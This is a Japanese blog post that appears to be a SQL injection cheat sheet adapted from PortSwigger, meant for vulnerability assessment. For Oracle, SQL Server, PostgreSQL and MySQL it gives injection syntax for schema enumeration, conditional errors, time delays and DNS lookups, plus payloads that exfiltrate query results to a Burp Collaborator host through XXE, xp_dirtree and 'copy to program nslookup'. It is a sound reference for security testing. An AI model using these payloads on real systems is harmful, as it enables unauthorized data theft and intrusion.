LoginSignup
0
2

More than 1 year has passed since last update.

SQLインジェクション チートシート

Posted at

概要

SQLインジェクションを使った脆弱性診断を実行する際に、しばしば発生する便利な構文のDBMS別まとめになります。
日本語で知りたい人や単純に見返す機会も多いと思ったので、PortSwiggerの学習サイトから翻訳・引用・加筆修正しました。

文字列の連結

複数の文字を結合させて、一つの文字列にすることができます。

DBMS 構文
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar'(文字列間のスペースに注意)
CONCAT('foo','bar')

サブストリング(文字の切り出し)

指定番目の文字から指定した文字数分の文字列を抽出できます。下記の例だと ba を返します。

DBMS 構文
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

コメント

コメントを使用してクエリを切り捨て、入力に続く元のクエリの一部を削除できます。

DBMS 構文
Oracle --comment
Microsoft --comment
/*comment*/
PostgreSQL --comment
/*comment*/
MySQL #comment
-- comment(スペースに注意)
/*comment*/

データベースのバージョン

データベースをクエリして、そのタイプとバージョンを取得できます。この情報は、より複雑な攻撃を作成する時に役立ちます。

DBMS 構文
Oracle SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

データベースの内容

データベースに存在するテーブルと、それらのテーブルに含まれる列を一覧できます。

DBMS 構文
Oracle SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'テーブル名'
Microsoft SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'
PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'

条件付きエラー

単一の真偽値条件をテストし、条件がtrueの場合、データベースエラーをトリガーできます。

DBMS 構文
Oracle SELECT CASE WHEN (条件) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (条件) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (条件) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL SELECT IF(条件,(SELECT table_name FROM information_schema.tables),'a')

バッチクエリ(スタッククエリ)

バッチされたクエリを使用して、複数のクエリを連続して実行できます。後続のクエリが実行されている間、結果はアプリケーションに返されないことに注意してください。従って、この手法は主に、2番目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできるブラインド脆弱性に関連して使用されます。

DBMS 構文
Oracle バッチクエリのサポート対象外
Microsoft クエリ1; クエリ2
PostgreSQL クエリ1; クエリ2
MySQL クエリ1; クエリ2

MySQLでは、バッチクエリは通常、SQLインジェクションには使用できません。ただし、ターゲットアプリケーションが特定のPHPまたはPython APIを使用してMySQLデータベースと通信する場合、これが可能になることがあります。

時間遅延

クエリが処理されると、データベースに時間遅延が発生する可能性があります。
以下は、無条件の10秒の時間遅延を引き起こします。

DBMS 構文
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

条件付き時間遅延

単一の真偽値条件を判定し、条件がtrueの場合、時間遅延をトリガーできます。

DBMS 構文
Oracle SELECT CASE WHEN (条件) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (条件) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (条件) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(条件,SLEEP(10),'a')

DNSルックアップ

DNSルックアップ-権威DNSサーバへ問合せしてIPアドレスからドメイン名を調べたり、ドメイン名からIPアドレスを調べること。
データベースに外部ドメインへのDNSルックアップを実行させることができます。これを行うには、Burp Collaborator Clientを使用する必要があります。攻撃で使用する一意のBURP-COLLABORATORサブドメインを生成し、Collaboratorサーバーをポーリングして、DNSルックアップが発生したことを確認します。

DBMS 構文
Oracle DNSルックアップをトリガーするためにXML外部エンティティ(XXE)の脆弱性を活用します。 脆弱性は既にパッチされていますが、パッチされていないOracleのインストールプログラムが多数存在します。
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATORサブドメイン/"> %remote;]>'),'/l') FROM dual

完全にパッチされたOracleインストールで動作しますが、管理者特権が必要です。
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATORサブドメイン')
Microsoft exec master..xp_dirtree '//BURP-COLLABORATORサブドメイン/a'
PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATORサブドメイン'
MySQL Windowsでのみ機能します。
LOAD_FILE('\\\\BURP-COLLABORATORサブドメイン\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATORサブドメイン\a'

データ流出を伴うDNSルックアップ

注入されたクエリの結果を含む外部ドメインに対して、データベースにDNSルックアップを実行させることができます。これを行うには、Burp Collaborator Clientを使用する必要があります。攻撃で使用する一意のBURP-COLLABORATORサブドメインを生成してから、Collaboratorサーバーをポーリングして、埋め込み型データを含むDNSインタラクションの詳細を取得します。

DBMS 構文
Oracle SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATORサブドメイン/"> %remote;]>'),'/l') FROM dual
Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATORサブドメイン/a"')
PostgreSQL create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATORサブドメイン''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL Windowsでのみ機能します。
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATORサブドメイン\a'
0
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
2